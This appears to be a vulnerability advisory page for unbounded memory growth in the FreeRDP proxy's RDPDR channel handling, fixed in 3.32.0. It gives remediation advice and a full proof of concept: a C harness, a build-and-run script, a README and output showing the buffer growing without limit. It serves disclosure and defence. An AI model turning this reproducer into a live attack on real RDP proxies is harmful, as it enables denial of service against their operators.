Unbounded memory growth from unterminated RDPDR messages in FreeRDP
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- High
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-m7g5-gw57-cwcr. Fix status from GitHub. Impact type from CWE-400.
Summary
FreeRDP from 3.0.0-beta1 through 3.31.1 is affected when the proxy intercepts the RDPDR channel. The proxy appends fragments to a heap buffer without a total size limit (CWE-400), so a connected client can send fragments without a final one. The buffer grows without bound and stays allocated until the channel is freed. No crash, code execution or confidentiality impact was demonstrated.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
When the FreeRDP proxy is configured to intercept the RDPDR static virtual channel, its front- and back-side handlers append every incoming fragment to a per-session heap stream. `CHANNEL_FLAG_FIRST` resets the write position, but there is no cumulative-length or absolute-size check before `Stream_EnsureRemainingCapacity` and `Stream_Write`. The declared-total equality check runs only after `CHANNEL_FLAG_LAST`. A connected client can send one `FIRST` fragment followed by ordinary 1,600-byte continuation fragments without `LAST`. Each fragment grows the stream and the handler returns success. The enlarged allocation remains in the shared proxy process until the channel context is freed. A malicious target can reach the mirrored back-side implementation. This requires an established RDP connection, negotiated RDPDR, and proxy configuration that intercepts RDPDR. The live validation used a stock TLS/RDP client, unmodified FreeRDP proxy, and stock sample-server target. It sent 12,561,600 attack bytes before a 20-second harness timeout and left an internal stream with approximately 16 MiB capacity. The proxy remained alive. An equal-size control sent 13,107,200 bytes with `FIRST` on every chunk and remained bounded. The live proxy used AddressSanitizer, which increased RSS by 316,416 KiB in the attack versus 4,396 KiB in the control. That allocator-specific RSS increase is not claimed as production amplification. The demonstrated product effect is bandwidth-proportional retained memory without a ceiling. No crash, memory corruption, confidentiality impact, integrity impact, or code execution was demonstrated. The vulnerable RDPDR interception implementation first appears in the verified `3.0.0-beta1` snapshot and remains present in stable releases through `3.31.1` and current master. It is absent from inspected release 2.11.8. No exact public advisory, issue, pull request, or fix was found. **Remediation:** Record and validate the declared total on `FIRST`, impose an absolute message-size cap, and check with overflow-safe arithmetic that every append remains within both limits. Reject continuation before `FIRST`, changed totals, over-limit fragments, and incomplete messages according to a bounded timeout or channel policy. Apply the same validation to both proxy directions and add regression tests for equal-traffic attack/control sequences. **Proof of concept:** <!-- BEGIN FILE: harness.c --> ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include "server/proxy/channels/pf_channel_rdpdr.c" int main(int argc, char** argv) { const BOOL attack = !((argc > 1) && (strcmp(argv[1], "control") == 0)); const size_t fragment_size = 1600; const size_t fragment_count = 4096; proxyData pdata = { 0 }; pServerContext server = { 0 }; server.pdata = &pdata; server.interceptContextMap = HashTable_New(TRUE); if (!server.interceptContextMap || !HashTable_SetupForStringData(server.interceptContextMap, FALSE)) return 2; pf_channel_server_context channel = { 0 }; channel.log = WLog_Get("poc.rdpdr"); channel.common.buffer = Stream_New(NULL, 64); if (!channel.common.buffer || !HashTable_Insert(server.interceptContextMap, RDPDR_SVC_CHANNEL_NAME, &channel)) return 2; BYTE fragment[1600]; memset(fragment, 0x41, sizeof(fragment)); for (size_t index = 0; index < fragment_count; index++) { const UINT32 flags = attack ? ((index == 0) ? CHANNEL_FLAG_FIRST : 0) : CHANNEL_FLAG_FIRST; if (!pf_channel_rdpdr_server_handle(&server, 1004, RDPDR_SVC_CHANNEL_NAME, fragment, sizeof(fragment), flags, sizeof(fragment))) return 3; } printf("mode=%s fragments=%zu bytes_sent=%zu capacity=%zu\n", attack ? "attack" : "control", fragment_count, fragment_count * fragment_size, Stream_Capacity(channel.common.buffer)); return 0; } ``` <!-- END FILE: harness.c --> <!-- BEGIN FILE: run.sh --> ```sh #!/bin/sh set -eu : "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source directory}" : "${FREERDP_BUILD:?set FREERDP_BUILD to its configured build directory}" SOURCE_ROOT=$(CDPATH= cd -- "$FREERDP_SOURCE" && pwd) BUILD_ROOT=$(CDPATH= cd -- "$FREERDP_BUILD" && pwd) HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORK_DIR=$(mktemp -d "${TMPDIR:-/var/tmp}/freerdp-rdpdr-limit.XXXXXX") trap 'rm -rf "$WORK_DIR"' EXIT HUP INT TERM LIBFREERDP="$BUILD_ROOT/libfreerdp" LIBWINPR="$BUILD_ROOT/winpr/libwinpr" LIBSERVER="$BUILD_ROOT/server/common" LIBPROXY="$BUILD_ROOT/server/proxy" PRELOAD=$(ldd "$LIBWINPR/libwinpr3.so" 2>/dev/null | awk '/libasan\.so/ { print $3; exit }') cc -w -DNDEBUG -ffunction-sections -fdata-sections \ -I"$SOURCE_ROOT" \ -I"$SOURCE_ROOT/include" \ -I"$SOURCE_ROOT/winpr/include" \ -I"$SOURCE_ROOT/server/proxy" \ -I"$SOURCE_ROOT/server/proxy/channels" \ -I"$BUILD_ROOT/include" \ -I"$BUILD_ROOT/winpr/include" \ -o "$WORK_DIR/harness" "$HERE/harness.c" "$SOURCE_ROOT/server/proxy/pf_channel.c" \ -L"$LIBPROXY" -L"$LIBSERVER" -L"$LIBFREERDP" -L"$LIBWINPR" \ -lfreerdp-server-proxy3 -lfreerdp-server3 -lfreerdp3 -lwinpr3 -lpthread -ldl \ -Wl,--gc-sections RUNTIME_PATH="$LIBPROXY:$LIBSERVER:$LIBFREERDP:$LIBWINPR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" ASAN_OPTIONS=detect_leaks=0 LD_PRELOAD="$PRELOAD" LD_LIBRARY_PATH="$RUNTIME_PATH" \ "$WORK_DIR/harness" attack >"$WORK_DIR/attack.txt" ASAN_OPTIONS=detect_leaks=0 LD_PRELOAD="$PRELOAD" LD_LIBRARY_PATH="$RUNTIME_PATH" \ "$WORK_DIR/harness" control >"$WORK_DIR/control.txt" attack_line=$(cat "$WORK_DIR/attack.txt") control_line=$(cat "$WORK_DIR/control.txt") attack_capacity=$(printf '%s\n' "$attack_line" | sed -n 's/.*capacity=\([0-9][0-9]*\).*/\1/p') control_capacity=$(printf '%s\n' "$control_line" | sed -n 's/.*capacity=\([0-9][0-9]*\).*/\1/p') test "$attack_capacity" -eq 6554624 test "$control_capacity" -eq 1792 printf '%s\n' "$attack_line" printf '%s\n' "$control_line" printf 'retained_capacity_delta=%s\n' "$((attack_capacity - control_capacity))" printf '%s\n' 'result=VULNERABLE' ``` <!-- END FILE: run.sh --> <!-- BEGIN FILE: README.md --> ````markdown # FreeRDP proxy RDPDR reassembly reproducer This bounded source-only harness invokes FreeRDP's production `pf_channel_rdpdr_server_handle` function. Attack mode sends 4,096 1,600-byte RDPDR static-channel fragments as one message without `CHANNEL_FLAG_LAST`. Control mode sends the same number and size of fragments while marking each one `CHANNEL_FLAG_FIRST`, which resets the message buffer. Requirements: - Linux on a filesystem that permits executing temporary binaries - a FreeRDP source checkout and matching configured build directory with proxy support - a C compiler and the development dependencies used by the FreeRDP build Run from this directory, substituting paths to the source and build trees: ```sh FREERDP_SOURCE=../../FreeRDP \ FREERDP_BUILD=../../FreeRDP-build \ ./run.sh ``` The runner uses `/var/tmp` by default because the binary must execute; set `TMPDIR` when another executable temporary filesystem is preferred. The test retains less than 7 MiB in a short-lived process, makes no network connection, does not modify the source checkout, and removes its temporary binary and logs on exit. This package isolates the production handler and equal-traffic control. It does not recreate the complete client-to-proxy-to-target TLS topology. ```` <!-- END FILE: README.md --> <!-- BEGIN FILE: observed-output.txt --> ```text mode=attack fragments=4096 bytes_sent=6553600 capacity=6554624 mode=control fragments=4096 bytes_sent=6553600 capacity=1792 retained_capacity_delta=6552832 result=VULNERABLE ``` <!-- END FILE: observed-output.txt -->
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | >= 3.0.0-beta1, <= 3.31.1 | 3.32.0 | Patch available | GHSA-m7g5-gw57-cwcr |
- FreeRDP (c) Vendor— Affected >= 3.0.0-beta1, <= 3.31.1 Fixed in 3.32.0 Patch available GHSA-m7g5-gw57-cwcr
Remediation
Upgrade FreeRDP to 3.32.0, which fixes this flaw in the affected versions.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-m7g5-gw57-cwcr FreeRDP (c) Fixed in 3.32.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-m7g5-gw57-cwcr
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences